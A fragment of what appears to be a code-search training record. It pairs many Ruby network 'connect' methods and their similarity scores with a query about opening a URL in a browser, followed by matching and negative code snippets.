"def connect\n return true if @status == :connected\n connection_options = {\n host: @host,\n port: @port,\n user: @user,\n password: @password,\n path: @path,\n use_ssl: @use_ssl,\n }\n @server = ::XMLRPC::Client.new3(connection_options)\n @status = :connected\n end",
"def connect!(force_reconnect = false)\n if self.connected?\n @logger.debug(\"SSH connection to server name='#{@name}', host=#{self.hostname} already established\")\n if not force_reconnect\n return\n else\n @logger.debug(\"Forcing SSH reconnect for server name='#{@name}', host=#{self.hostname}\")\n end\n end\n\n @logger.info(\"Establishing SSH connection to server name='#{@name}', host='#{self.hostname}', user '#{self.username}'\")\n begin\n @ssh = Net::SSH.start(self.hostname, self.username, port: @config['ssh_port'] || 22, timeout: 2, non_interactive: true)\n rescue Net::SSH::AuthenticationFailed => msg\n raise Acme::Distributed::ServerError, \"Could not establish SSH connection to server name='#{@name}': #{msg}\"\n rescue StandardError => msg\n raise Acme::Distributed::ServerError, \"Could not establish SSH connection to server name='#{@name}': #{msg}\"\n end\n end",
"def connect()\n\t\t\t# Check queen(s) for peer list\n\n\t\t\t# Connect to peers\n\t\tend",
"def connect!(options={})\n execute_on_servers(options) { }\n end",
"def enotify_connect\n begin\n print \"=== Connecting to emacs... \".cyan\n @sock = TCPSocket.new(@enotify_host, @enotify_port)\n enotify_register\n puts \"Success!\".green\n rescue SocketError, Errno::ECONNREFUSED => e\n puts \"Failed!\".red\n rescue_sock_error\n end\n end",
"def connect\n ssl_socket.connect\n handshake.execute!\n end",
"def connect_to_server\n request_builder = ::NewRelic::Agent::Connect::RequestBuilder.new( \\\n @service,\n Agent.config,\n event_harvest_config,\n environment_for_connect\n )\n connect_response = @service.connect(request_builder.connect_payload)\n\n response_handler = ::NewRelic::Agent::Connect::ResponseHandler.new(self, Agent.config)\n response_handler.configure_agent(connect_response)\n\n log_connection(connect_response) if connect_response\n connect_response\n end",
"def connect\n @logger.request \"Connecting to Asterisk Manager (\" + @host + \":\" + @port + \")\"\n\n begin\n # Try to open a socket\n @socket = TCPSocket.new @host, @port\n\n # Parse the initial connection message. This message is sent right after a socket connection is established, and consists \n # of one line of the format: Asterisk Call Manager/1.1 \n @connected = (@socket.gets.gsub(\"\\r\\n\", \"\") == RESPONSE_CONNECTION)\n @logger.response(\"Success: Connection Established\") if @connected\n @logger.fatal(\"Error: Connection response did not match expected: \" + RESPONSE_CONNECTION) if !@connected\n rescue Exception => e\n @logger.fatal \"Error: Connection error occurred: \" + e.message\n @connected = false\n end\n end",
"def connect\n\tend",
"def connect\n socket.connect(@host, @port)\n @connected = true\n rescue SocketError => e\n warn e\n end",
"def connect(options)\n @api_client = establish_remote_appliance_connection(options.merge({:no_prompt => true, :skip_verify_access_token => true, :skip_login => true}))\n # automatically get @appliance_name, @appliance_url, @wallet\n if !@appliance_name\n raise_command_error \"#{command_name} requires a remote to be specified, use -r [remote] or set the active remote with `remote use`\"\n end\n if !@appliance_url\n unless options[:quiet]\n print red,\"Unable to determine remote appliance url. Review your remote configuration.#{reset}\\n\"\n end\n return 1\n end\n #@wallet = Morpheus::Cli::Credentials.new(@appliance_name, @appliance_url).load_saved_credentials()\n if @wallet.nil? || @wallet['access_token'].nil?\n unless options[:quiet]\n print_error yellow,\"You are not currently logged in to #{display_appliance(@appliance_name, @appliance_url)}\",reset,\"\\n\"\n print_error yellow,\"Use `login` to authenticate or try passing the --username option.\",reset,\"\\n\"\n end\n return 1\n end\n return 0\n end",
"def connect(options = {})\n raise MiqException::MiqHostError, \"No credentials defined\" if missing_credentials?(options[:auth_type])\n\n auth_token = authentication_token(options[:auth_type])\n username = options[:user] || authentication_userid(options[:auth_type])\n password = options[:pass] || authentication_password(options[:auth_type])\n host = options[:host] || address\n port = options[:port] || self.port\n self.class.raw_connect(username, password, host, port).login\n end",
"def connect\n begin\n Net::SSH.start(@host,@login,password:@password) do |sf|\n @ssh = sf\n Logger.<<(__FILE__,\"INFO\",\"Connected at #{@login}@#{@host}\")\n yield\n end\n rescue => e\n Logger.<<(__FILE__,\"ERROR\",e.message)\n raise e\n end\t\n Logger.<<(__FILE__,\"INFO\",\"Disconnected from #{@login}@#{@host}\")\n @sftp = nil\t\n end",
"def connect(&block)\n begin\n Puppet.debug \"Trying to connect to #{host} as #{user}\"\n @ssh = Net::SSH.start(host, user, :port => port, :password => password, :timeout => timeout,\n :paranoid => Net::SSH::Verifiers::Null.new,\n :global_known_hosts_file=>\"/dev/null\")\n rescue TimeoutError\n raise TimeoutError, \"SSH timed out while trying to connect to #{host}\"\n rescue Net::SSH::AuthenticationFailed\n raise Puppet::Error, \"SSH auth failed while trying to connect to #{host} as #{user}\"\n rescue Net::SSH::Exception => error\n raise Puppet::Error, \"SSH connection failure to #{host}\"\n end\n\n @buf = ''\n @eof = false\n @channel = nil\n @ssh.open_channel do |channel|\n channel.request_pty {|ch, success| raise \"Failed to open PTY\" unless success}\n\n channel.send_channel_request('shell') do |ch, success|\n raise 'Failed to open SSH SHELL Channel' unless success\n\n ch.on_data {|ch, data| @buf << data}\n ch.on_extended_data {|ch, type, data| @buf << data if type == 1}\n ch.on_close {@eof = true}\n\n @channel = ch\n expect(default_prompt, &block)\n return\n end\n end\n @ssh.loop\n end",
"def connect\n @socket = OpenSSL::SSL::SSLSocket.new(TCPSocket.new(@host, @port), OpenSSL::SSL::SSLContext.new)\n @socket.sync_close = true\n\n begin\n @socket.connect\n rescue Exception => e\n STDOUT.puts \"Error: #{e}\"\n exit(1)\n end\n\n # Modify socket's singleton class to include the Chat::Sendable module.\n class << @socket\n include Chat::Sendable\n include Chat::Receivable\n end\n\n # Ask the user for a username (\"displayName\")\n STDOUT.print \"Enter your display name (no spaces): \"\n display_name = STDIN.gets\n if display_name.nil?\n exit(1)\n end\n\n # Clean display_name and ensure that it has no spaces.\n display_name.chomp!\n unless display_name =~ /^\\S+$/\n puts \"Invalid display name.\"\n exit(1)\n end\n\n @socket.send Greeting.build(VERSION, display_name)\n\n # Await the response.\n loop do\n begin\n response = @socket.receive\n rescue Exception => e\n STDERR.puts \"Error: #{e.message}\"\n exit(1)\n end\n\n case response\n when :EOF\n STDERR.puts \"Connection lost.\"\n exit(1)\n when :SKIP\n # Malformed packet. Ignore it and keep listening.\n next\n when AcceptGreeting\n STDOUT.puts \"Connected to server!\"\n STDOUT.puts help\n break\n when DeclineGreeting\n STDERR.puts \"Server rejected connection. Reason: #{response[:reason]}\"\n exit(1)\n else\n STDOUT.puts \"Received unrecognized message. Ignoring.\"\n end\n end\n end",
"def connect_to_server_remote(info)\n # update connection data\n @use_http_tunnel = info[:use_http_tunnel]\n @host_server = info[:host_server]\n @port_server = info[:port_server]\n @login_name = info[:login_name]\n @password_saved = info[:password_saved] \n use_guest_login = info[:use_guest_login]\n \n # the connect dialog provide an already coded password\n # on server password in decoded and checked against a digest string in the database\n @password_login_md5 = info[:password_login_md5]\n \n # close old connection before\n @log.debug \"connect_to_server_remote\"\n @socket_srv.close if @socket_srv\n @id_http_session = nil\n #p @host_server, @port_server\n status = Timeout::timeout(6) {\n # avoid to blocking for more time\n @socket_srv = TCPSocket.new(@host_server, @port_server)\n }\n # reset connection data model\n @model_net_data.reset_data\n # avoid funny characters\n #@login_name = @login_name.slice(/\\w+/)\n # use the same regex as the registration (this check is also done on the server)\n @login_name = @login_name.slice(/\\A\\w[\\w\\.\\-_@]+\\z/)\n msg_det = \"#{@login_name},#{@password_login_md5}\"\n if use_guest_login\n msg_det = \"ospite,ospite\"\n end\n \n #send login message\n cmd_to_send = build_cmd(:login, msg_det)\n send_data_to_server(cmd_to_send)\n #start read thread\n if @use_http_tunnel\n @rd_sock_thread = Thread.new{read_data_on_http_tunnel}\n else\n @rd_sock_thread = Thread.new{ background_read }\n end\n rescue Timeout::Error\n @cup_gui.log_sometext \"ERRORE: timeout connessione col server \"\n @cup_gui.log_sometext \" #{@host_server}:#{@port_server} (#{$!})\\n\"\n @socket_srv = nil\n rescue\n @cup_gui.log_sometext \"Errore connessione server #{@host_server}:#{@port_server} (#{$!})\\n\"\n @cup_gui.log_sometext \"Probabilmente il server e' offline, oppure le configurazioni del PC non consentono l'accesso ad internet\\n\"\n @socket_srv = nil\n end",
"def connect_to_machine(machine_spec, machine_options)\n Chef::Log.debug('Connect to machine!')\n end",
"def connection(host)\n RobotArmy::GateKeeper.shared_instance.connect(host)\n end",
"def open_tcp_socket()\n\n ## $stderr.print(\"h: #{@host}, p: #{@port}\\n\")\n\n tcp_socket = nil\n slog(:on_connecting, log_params)\n Timeout::timeout(@connect_timeout, Stomp::Error::SocketOpenTimeout) do\n tcp_socket = TCPSocket.open(@host, @port)\n end\n tcp_socket\n end",
"def connect(global = true)\n print_status(\"Connecting to POP2 server #{rhost}:#{rport}...\")\n\n fd = super\n\n # Wait for a banner to arrive...\n self.banner = fd.get_once\n\n print_status(\"Connected to target POP2 server.\")\n print_status(\"Banner: #{self.banner.split(\"\\n\")[0].strip}\")\n\n # Return the file descriptor to the caller\n fd\n end",
"def setup_socket\n ctx = setup_certificate\n\n APN.log(:debug, \"Connecting to #{@host}:#{@port}...\")\n\n socket_tcp = TCPSocket.new(@host, @port)\n OpenSSL::SSL::SSLSocket.new(socket_tcp, ctx).tap do |s|\n s.sync = true\n s.connect\n end\n end",
"def connect!\n @connection = Connection::Factory.create(@options[:transport], @options[:transport_wrapper], @current_server, @options[:timeout])\n @connection.connect!\n @client = @client_class.new(@options[:protocol].new(@connection.transport, *@options[:protocol_extra_params]))\n rescue Thrift::TransportException, Errno::ECONNREFUSED => e\n @transport.close rescue nil\n raise e\n end",
"def do_connect(host)\n create_connector.connect(host.ip.to_s).fallback do |error|\n case error\n when Errors::ProtocolError\n synchronize do\n if @options.protocol_version > 1\n @logger.info(\"Host #{host.ip} doesn't support protocol version #{@options.protocol_version}, downgrading\")\n @options.protocol_version -= 1\n do_connect(host)\n else\n Ione::Future.failed(error)\n end\n end\n when Error\n Ione::Future.failed(error)\n else\n e = Errors::IOError.new(error.message)\n e.set_backtrace(error.backtrace)\n Ione::Future.failed(e)\n end\n end\n end",
"def tunnel\n system @opts[:ssh][:bin],\n @opts[:ssh][:opts],\n '-p', @opts[:remote][:ssh_port].to_s,\n '-i', @opts[:ssh][:identity],\n '-R', [\n @opts[:remote][:fwd_port],\n @opts[:local][:host],\n @opts[:local][:port]\n ].join(':'),\n \"#{@opts[:remote][:user]}@#{@opts[:remote][:host]}\"\n end",
"def connect(host, port = FTP_PORT)\n if @debug_mode\n\t print \"connect: \", host, \", \", port, \"\\n\"\n end\n synchronize do\n\t @sock = open_socket(host, port)\n\t voidresp\n end\n end"
] | [
"0.79121536",
"0.7757874",
"0.7296945",
"0.7216767",
"0.7166304",
"0.70389915",
"0.7027099",
"0.69598377",
"0.6909852",
"0.68915206",
"0.688377",
"0.68424106",
"0.6835292",
"0.6822853",
"0.6748713",
"0.6740808",
"0.6724437",
"0.667054",
"0.6647476",
"0.66416705",
"0.6623895",
"0.6622562",
"0.65926075",
"0.65885514",
"0.6577713",
"0.65776944",
"0.65725625",
"0.65579057",
"0.65558255",
"0.655494",
"0.65495414",
"0.6534999",
"0.65239096",
"0.6522658",
"0.64978623",
"0.6459239",
"0.64581907",
"0.6456302",
"0.6452248",
"0.64407647",
"0.64269006",
"0.64236057",
"0.63851714",
"0.6384819",
"0.6375121",
"0.63655794",
"0.6352841",
"0.6348185",
"0.63459456",
"0.632314",
"0.6319425",
"0.6317589",
"0.6315677",
"0.6315677",
"0.630351",
"0.62975925",
"0.629054",
"0.6286209",
"0.6280175",
"0.6269871",
"0.62602687",
"0.62432665",
"0.62369967",
"0.62320065",
"0.6231102",
"0.6226303",
"0.62240815",
"0.6221628",
"0.61921835",
"0.61765367",
"0.61764723",
"0.61744946",
"0.616989",
"0.61642164",
"0.61641854",
"0.61615247",
"0.61591864",
"0.61508775",
"0.6149369",
"0.61487937",
"0.61434776",
"0.61410207",
"0.61324567",
"0.6125193",
"0.61224663",
"0.6110785",
"0.61105764",
"0.6110117",
"0.6107903",
"0.609665",
"0.6094126",
"0.6093737",
"0.6089994",
"0.6087177",
"0.60717005",
"0.60689807",
"0.6062815",
"0.6061067",
"0.6055676",
"0.60545594",
"0.6052678"
] | 0.0 | -1 |
attr_accessor :pos, :position_in_word store :settings, accessors: [:token, :pos, :position_in_word], coder: JSON | def init (options={})
@position_in_word = options[:position_in_word]
@pos = options[:pos]
@lemma = options[:lemma]
@token = options[:token]
@word_id = options[:word_id]
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def as_json(options={})\n\n\t\t\t{\n\t\t\t name: self.class.name,\n\t\t\t data: {\n\t\t\t pos: pos,\n\t\t\t }\n\t\t\t}\n\tend",
"def save\n\t\tNg2::HashDb.add(@word, serialize)\n\tend",
"def save_pos; end",
"def build_pos_hash\n indexer = NokogiriDictionaryIndexer.new @dictionary_path\n indexer.parse_parts_of_speech\n end",
"def store_options\n pure_options = []\n self.options.each do |o|\n pure_options << {'text' => o.text, 'correct' => o.correct}\n end\n \n self.json_options = pure_options.to_json\n end",
"def save_state\n json_object = { :secret_word => @secret_word, :display_content => @display_content,\n \t :failed_attemps => @failed_attemps }.to_json\n File.open(\"saved_state.json\", \"w\") { |file| file.write(json_object) }\n end",
"def initialize\n @positions_with_tokens = Hash[BOARD_POSITIONS.zip]\n end",
"def word_pos_cache\n @pos_cache ||= Gemmy::Components::Cache.new(\"word_pos\")\n end",
"def settings\n\n\t\tif @settings.nil? then\n\t\t\thash = {}\n\t\t\tproperty_settings.includes(:property_definition).each do |setting|\n\t\t\t\tp_def = setting.property_definition\n\t\t\t\tvalue = case p_def.def_type\n\t\t\t\t\t\t\twhen \"string\"\n\t\t\t\t\t\t\t\tsetting.string\n\t\t\t\t\t\t\twhen \"text\"\n\t\t\t\t\t\t\t\tsetting.string\n\t\t\t\t\t\t\twhen \"html\"\n\t\t\t\t\t\t\t\tsetting.string\n\t\t\t\t\t\t\twhen \"integer\"\n\t\t\t\t\t\t\t\tsetting.number.to_i\n\t\t\t\t\t\t\twhen \"file\" \n\t\t\t\t\t\t\t\tMedia.find(setting.number.to_i) unless setting.number.nil?\n\t\t\t\t\t\t\twhen \"url\"\n\t\t\t\t\t\t\t\tPage.find(setting.number.to_i) unless setting.number.nil?\n\t\t\t\t\t\t\twhen \"date\"\n\t\t\t\t\t\t\t\tsetting.string\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t:dontknowhowtointerpretthis\n\t\t\t\t\t\tend\n\t\t\t\thash[setting.property_definition.label.to_sym] = value\n\t\t\tend\n\t\t\t@settings = OpenStruct.new(hash)\n\t\tend\t\t\t\n\n\t\t@settings\n\tend",
"def serialize\n obj = {}\n obj[:players] = [@player.serialize]\n obj[:word_array] = @word_array\n obj[:word_array_player] = @word_array_player\n obj[:letters_guessed] = @letters_guessed\n obj[:errors_left] = @errors_left\n obj[:round_over] = @round_over\n obj[:round_won] = @round_won\n obj[:continuing_saved_game] = @continuing_saved_game\n @@serializer.dump(obj)\n end",
"def create_token(type, properties = {})\n {\n :node => type,\n :pos => @s.marker,\n :raw => @s.marked\n }.merge!(properties)\n end",
"def create_token(type, properties = {})\n {\n :node => type,\n :pos => @s.marker,\n :raw => @s.marked\n }.merge!(properties)\n end",
"def setup_save_position(_speed = 0)\n @saved_position = [@map_char.real_x, @map_char.real_y, _speed]\n end",
"def initialize\n @settings = Hash.new\n end",
"def storeSettings\n\t\tstore = configStore\n\t\tstore.transaction do\n\t\t\tstore['dice'] = @rangeSlider.value\n\t\t\tstore['times'] = @countSlider.value\n\t\t\tstore['w'] = self.width\n\t\t\th = store['h'] = self.height\n\t\t\tx = store['x'] = self.x\n\t\t\ty = store['y'] = self.y\n\t\t\[email protected]_index do |i|\n\t\t\t\tstore[\"condition #{i}\"] = @conditions[i].text\n\t\t\t\tstore[\"formula #{i}\"] = @formulas[i].text\n\t\t\tend\n\t\tend\n\tend",
"def settings\n @settings ||= {}\n end",
"def settings\n @settings ||= {}\n end",
"def settings\n @settings ||= {}\n end",
"def settings\n @settings ||= {}\n end",
"def json\n words = {\n words: @doc_stream.words\n }\n JSON.generate(words)\n end",
"def configure_save\n save = load_save\n @word = save.word\n @hints = save.hints\n @incorrect = save.incorrect\n @lives = save.lives\n end",
"def to_h\n {\n contents: contents,\n pos: pos,\n allowed: allowed,\n class: self.class\n }\n end",
"def get_setting()\n if @analyzer == 'kuromoji'\n # use kuromoji. need to install kuromoji-plugin for elasticsearch\n pos_filter = { \"type\" => \"kuromoji_part_of_speech\", \"stoptags\" => [\"助詞-格助詞-一般\", \"助詞-終助詞\"]}\n greek_lowercase_filter = {\"type\" => \"lowercase\", \"langrage\" => \"greek\"}\n filter = { \"pos_filter\" => pos_filter, \"greek_lowercase_filter\" => greek_lowercase_filter }\n\n kuromoji = { \"type\" => \"kuromoji_tokenizer\", \"mode\" => \"search\" }\n tokenizer = { \"kuromoji\" => kuromoji }\n\n kuromoji_filter = [\"kuromoji_baseform\", \"pos_filter\", \"greek_lowercase_filter\", \"cjk_width\"]\n kuromoji_analyzer = { \"type\" => \"custom\", \"tokenizer\" => \"kuromoji\", \"filter\" => kuromoji_filter }\n analyzer = { \"#{@analyzer}\" => kuromoji_analyzer }\n\n analysis = { \"filter\" => filter, \"tokenizer\" => tokenizer, \"analyzer\" => analyzer }\n settings = { \"analysis\" => analysis }\n else\n raise \"[elasticsearch plugin]: undefined analyzer #{analyzer}\"\n end\n end",
"def tokens\n self.entries\n end",
"def store; end",
"def store; end",
"def store; end",
"def settings\r\n Mutable[self]\r\n end",
"def build_tokens\n build_count\n build_index\n build_pairs\n self\n end",
"def data\n token\n end",
"def to_json\n {'id' => @id, 'desc' => @desc, 'pos' => @pos}\n end",
"def to_json\n {'id' => @id, 'desc' => @desc, 'pos' => @pos}\n end",
"def text_position=(pos)\n end",
"def settings\n attributes.fetch(:settings)\n end",
"def properties_word_ml; end",
"def pos=(val)\n @pos = val\n\n end",
"def token_attribute; end",
"def pos=(pos); end",
"def write_settings\n Application.settings.set_value('pos', Qt::Variant.new(pos))\n Application.settings.set_value('size', Qt::Variant.new(size))\n Application.settings.sync\n end",
"def settings\r\n @@settings\r\n end",
"def to_db_hash\n super.merge(\n {\n 'text' => @text,\n 'url' => @url\n }\n )\n end",
"def as_indexed_json(options={})\n\t\t\tfull_text = self.content\n\t\t\tfull_text = \"#{full_text}\\n#{self.posts.collect{|post| post.content }.join(\"\\n\")}\"\n\n\t\t\tas_json().merge( 'public' => (self.anyone? && self.active?), full_text: full_text )\n\t\tend",
"def store_fields(json=true)\n data = @data.map do |data|\n type = parse_store_renderer(data[\"renderer\"])\n hash = { :name => data[\"dataIndex\"] , :mapping => data[\"mapping\"] }\n hash.merge!(type) if type\n hash\n end\n json ? JSON.pretty_generate(data) : data\n end",
"def set(token, **definition)\n store[token] = Justdi::Definition.new(**definition)\n end",
"def get_tokens\n\t\treturn @tokens\n\tend",
"def settings\n @cmd.settings\n end",
"def set_token! model\n token = set_token model\n model.save!\n token\n end",
"def tiny_json\n @small_json ||= Oj.dump(self.ensmallen)\n end",
"def pos=(pos)\n @pos = pos\n end",
"def settings(current_user=nil)\n\t\tsettings = Hash.new\n\n\t\teditor_data = JSON.parse(self.editor_data) rescue {}\n\t\t\n\t\t#Game metadata\n\t\tsettings[\"game_metadata\"] = {}\n\t\tsettings[\"game_metadata\"][\"title\"] = self.title\n\t\tsettings[\"game_metadata\"][\"id\"] = self.id.to_s\n\t\tsettings[\"game_metadata\"][\"description\"] = self.description\n\t\tsettings[\"game_metadata\"][\"thumbnail\"] = self.thumbnail_url\n\n\t\t#Learning objects\n\t\tsettings[\"los\"] = {}\n\t\tself.los.each do |lo|\n\t\t\tsettings[\"los\"][lo.id.to_s] = lo.sgame_metadata\n\t\tend\n\n\t\t#Event Mapping\n\t\tsettings[\"events\"] = {}\n\t\tsettings[\"event_mapping\"] = {}\n\t\tmappings = self.mappings\n\t\tself.events.each do |event|\n\t\t\tsettings[\"events\"][event.id_in_game.to_s] = event.sgame_metadata\n\t\t\tsettings[\"event_mapping\"][event.id_in_game.to_s] = mappings.where(:game_template_event_id => event.id).map{|m| m.lo_id.to_s}.uniq\n\t\tend\n\n\t\t#Sequencing options\n\t\tsettings[\"sequencing\"] = editor_data[\"sequencing\"].blank? ? {} : editor_data[\"sequencing\"]\n\n\t\t#Game settings\n\t\tsettings[\"game_settings\"] = editor_data[\"settings\"].blank? ? {} : editor_data[\"settings\"]\n\t\tsettings[\"game_settings\"][\"completion_notification_text\"] = I18n.t(\"at.msgs.educational_objectives_achieved\", :locale => (current_user.nil? ? I18n.locale : (Utils.valid_locale?(current_user.ui_language) ? current_user.ui_language : :en)))\n\n\t\treturn settings\n\tend",
"def to_pos\n Sivigi::Pos.ini( *self.to_a )\n end",
"def pos\n @position[:current]\n end",
"def tokens; end",
"def tokens; end",
"def tokens; end",
"def tokens; end",
"def tokens; end",
"def tokens; end",
"def tokens; end",
"def tokens; end",
"def serialize\n data = {\n name: @name,\n guess: @guess,\n word: @word,\n bank: @bank,\n lives: @lives,\n letter: @letter\n }\n data.to_json\n end",
"def settings; end",
"def settings; end",
"def settings\n # TODO\n {}\n end",
"def determine_ft_settings\n ft_settings = {}\n if params[:commit] ### settings form ###\n params[:ft].each do |ft_name, setting|\n ft_settings[ft_name] = {}\n if setting[\"show\"] == \"true\"\n # nil means infinite, show at any width\n show = (Integer(setting[\"max_show_width\"]) rescue nil)\n ft_settings[ft_name][:show] = show\n if setting[\"capt\"] == \"true\"\n # again: nil means infinite, show at any width\n capt = (Integer(setting[\"max_capt_show_width\"]) rescue nil)\n ft_settings[ft_name][:capt] = capt\n else\n ft_settings[ft_name][:capt] = 0\n end\n else\n ft_settings[ft_name][:show] = 0\n ft_settings[ft_name][:capt] = 0\n end\n if @own\n # save settings in the DB\n ft_id = FeatureType.find_by_name_and_style_id(ft_name, @current_user.style.id).id\n ft_in_a = @annotation_ft_settings.find_by_feature_type_id(ft_id)\n ft_in_a.max_show_width = ft_settings[ft_name][:show]\n ft_in_a.max_capt_show_width = ft_settings[ft_name][:capt]\n ft_in_a.save\n end\n end\n elsif session[:ft_settings] and ### session hash ###\n session[:ft_settings].\n fetch(@annotation.name,{}).\n fetch(@sequence_region.seq_id, false)\n ft_settings =\n session[:ft_settings][@annotation.name][@sequence_region.seq_id]\n else ### annotation default options ###\n @annotation_ft_settings.each do |setting|\n ft_settings[setting.feature_type.name] = {}\n ft_settings[setting.feature_type.name][:show] =\n setting.max_show_width\n ft_settings[setting.feature_type.name][:capt] =\n setting.max_capt_show_width\n end\n end\n # save settings in the session hash\n session[:ft_settings] ||= {}\n session[:ft_settings][@annotation.name] ||= {}\n session[:ft_settings][@annotation.name][@sequence_region.seq_id] =\n ft_settings\n return ft_settings\n end",
"def before_save\n deserialized_values.each{|k,v| @values[k] = serialize_value(k, v)}\n super\n end",
"def keyword\n return OrderedStringHelper.deserialize(super )\n end",
"def keyword\n return OrderedStringHelper.deserialize(super )\n end",
"def set_token_data(current_types, personality, term)\n current_types.inject({}) do |token_data, content_type|\n humanized_content_type = humanize_content_type(content_type)\n token_data[humanized_content_type] = set_single_type_data(content_type, personality, term)\n token_data\n end.to_json\n end",
"def token_type; end",
"def create_index(token_size = TOKEN_SIZE, char_clean = CHAR_CLEAN)\n clean_str = \"\"\n token_arr = []\n line_index = {}\n token_index = {}\n @dictionary_file.each_line do |line|\n org_value = line.gsub(/\\s/,\"\")\n unless org_value.empty?\n clean_str = cleaner(line,char_clean)\n token_arr = tokenizer(clean_str, token_size)\n line_index = indexer(org_value, token_arr)\n token_index = token_index.merge!(line_index){|key,oldval,newval| oldval << newval[0] }\n end\n end\n # Sort the resulting Hash alphabetically by key. Return the newly sorted Hash.\n arr_tmp = token_index.sort_by{|key, value| key}.flatten(1)\n token_index = Hash[*arr_tmp]\n return token_index\n end",
"def tokens ; self.class.tokens ; end",
"def word_parser_params\n params.require(:word_parser).permit(:word_id, :lesson_id, :deleted_at)\n end",
"def pos=(arg0)\n end",
"def settings\n {}\n end",
"def settings\n {}\n end",
"def initialize(token) \n self.token_set = token\n end",
"def position_encoding\n attributes.fetch(:positionEncoding)\n end",
"def data_for_serialize\n da=DAData.new @root\n [@words.build,da.base,da.check]\n end",
"def word_list=(list)\n end",
"def settings\n @settings ||= OpenStruct.new(opts[:dm_config].first)\n # dm_js_location, dm_css_location\n # dm_js_location: javascripts\n # dm_css_location: stylesheets\n end",
"def to_json\n\t\t\tself.instance_variable_hash\n\t\tend",
"def song_tokens=(tokens)\n self.song_ids = Song.ids_from_tokens(tokens)\n end",
"def persist_info\n file = VER.loadpath.first / 'buffer_info.json'\n l \"Persisting Buffer info into: #{file}\"\n\n JSON::Store.new(file.to_s, true).transaction do |buffer_info|\n syntax_name = @syntax.name if @syntax\n\n buffer_info[uri.to_s] = {\n 'insert' => index('insert').to_s,\n 'syntax' => syntax_name\n }\n end\n end",
"def token; config[:token]; end",
"def settings\n cmd.settings\n end",
"def pos=\n end",
"def pos=\n end",
"def persist_words!\n start = Time.now\n # gdbm is a fast, simple key-value DB\n require 'gdbm'\n gdbm = GDBM.new('db/word_count.db')\n count = 0\n read_text_into_hash.each do |k, v|\n # gdbm stores values as strings, so values have to be converted to\n # integers, added together and then converted to strings again\n # to be stored\n current_value = gdbm[k].to_i\n gdbm[k] = (v.to_i + current_value).to_s\n count += 1\n end\n print_status(start, count)\n end",
"def settings\n @settings\n end",
"def tokens\r\n @tokens ||= TokensController.new(configuration: @configuration)\r\n end",
"def json\n @@id += 1\n \"{\" +\n \"\\\"type\\\": \\\"#{@type}\\\", \\\"id\\\": \\\"A#{@@id}\\\", \\\"value\\\": \\\"#{@value}\\\", \" +\n \"\\\"offset\\\": #{@offset}, \\\"length\\\": #{@length}\" +\n \"}\"\n end",
"def tokens\n return @tokens\n end",
"def save_settings!\n File.open(settings_path, \"w\") { |f| f << settings.to_nested_hash.to_yaml }\n settings.create_accessors!\n end",
"def load_state\n save_file = File.read(\"saved_state.json\")\n json_hash = JSON.parse(save_file)\n @secret_word = json_hash[\"secret_word\"]\n @display_content = json_hash[\"display_content\"]\n @failed_attemps = json_hash[\"failed_attemps\"]\n end",
"def pstore_save\n # Les métadonnées\n store_metadata\n # Scenes\n store_data :scene\n # Personnages\n store_data :personnage\n # Décors\n store_data :decor\n # Brins\n store_data :brin\n # Notes\n store_data :note\n end",
"def munge_token(token, value)\n # A token may already have been munged (converted and positioned)\n #\n return token, value if value.is_a? Hash\n\n skip if token.skip_text\n\n return if token.skip\n\n token, value = token.convert(self, value) if token.respond_to?(:convert)\n\n return unless token\n\n return if token.skip\n\n # If the conversion performed the munging/positioning\n return token, value if value.is_a? Hash\n\n pos_hash = position_in_source\n pos_hash[:value] = value\n\n # Add one to pos, first char on line is 1\n return token, pos_hash\n end",
"def settings\n copy = OpenStruct.new\n @lock.synchronize do\n copy.marshal_load(@settings.marshal_dump)\n end\n copy\n end",
"def initialize\n @tokens = []\n @current_token = nil\n @debug = false\n\n @line = 0\n @line_pos = 0\n end",
"def dictionary()\n return @data[:words]\n end"
] | [
"0.5702315",
"0.55509466",
"0.5542875",
"0.549929",
"0.53328246",
"0.52627033",
"0.5259892",
"0.52473605",
"0.5225298",
"0.5154828",
"0.5153554",
"0.5153554",
"0.51246536",
"0.50434613",
"0.4986877",
"0.49554968",
"0.49519998",
"0.49385494",
"0.49385494",
"0.4929306",
"0.49292126",
"0.49290273",
"0.49220937",
"0.4921033",
"0.49053",
"0.49053",
"0.49053",
"0.48980948",
"0.48979023",
"0.4895277",
"0.48940736",
"0.48940736",
"0.489333",
"0.4886931",
"0.4883872",
"0.48817715",
"0.4876075",
"0.486948",
"0.48376286",
"0.48375437",
"0.4827285",
"0.48211408",
"0.48165554",
"0.4813865",
"0.48058924",
"0.480197",
"0.48003736",
"0.4791879",
"0.47875234",
"0.4766259",
"0.47589624",
"0.475586",
"0.47541445",
"0.47541445",
"0.47541445",
"0.47541445",
"0.47541445",
"0.47541445",
"0.47541445",
"0.47541445",
"0.47524092",
"0.47491285",
"0.47491285",
"0.47436908",
"0.47413996",
"0.4741342",
"0.4735324",
"0.4735324",
"0.47302482",
"0.47282276",
"0.4722447",
"0.47161034",
"0.4713455",
"0.4711706",
"0.47097564",
"0.47097564",
"0.47079659",
"0.47051245",
"0.47038922",
"0.46949455",
"0.46946812",
"0.46927515",
"0.46893647",
"0.46858448",
"0.46815187",
"0.4670055",
"0.46675998",
"0.46675998",
"0.4665017",
"0.4664678",
"0.4663924",
"0.4661448",
"0.46610263",
"0.46608877",
"0.46578008",
"0.46550038",
"0.46543068",
"0.46541852",
"0.4648327",
"0.46422803"
] | 0.55290663 | 3 |
TODO open for chrome or machine | def open_url(code)
url = URL+code
puts url
open(url).read
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def open_in_browser\n link = \"http://www.bandsintown.com/cities/pittsburgh-pa\"\n if RbConfig::CONFIG['host_os'] =~ /mswin|mingw|cygwin/\n system \"start #{link}\"\n elsif RbConfig::CONFIG['host_os'] =~ /darwin/\n system \"open #{link}\"\n elsif RbConfig::CONFIG['host_os'] =~ /linux|bsd/\n system \"xdg-open #{link}\"\n end\n end",
"def vanilla_windows?; end",
"def browse(url)\n if RUBY_PLATFORM =~ /darwin/\n `open #{url}`\n elsif RUBY_PLATFORM =~ /linux/\n `#{ENV['BROWSER']} #{url}`\n elsif ENV['OS'] == 'Windows_NT' or\n RUBY_PLATFORM =~ /djgpp|(cyg|ms|bcc)win|mingw|wince/i\n `start \"\" \"#{url}\"`\n end\n end",
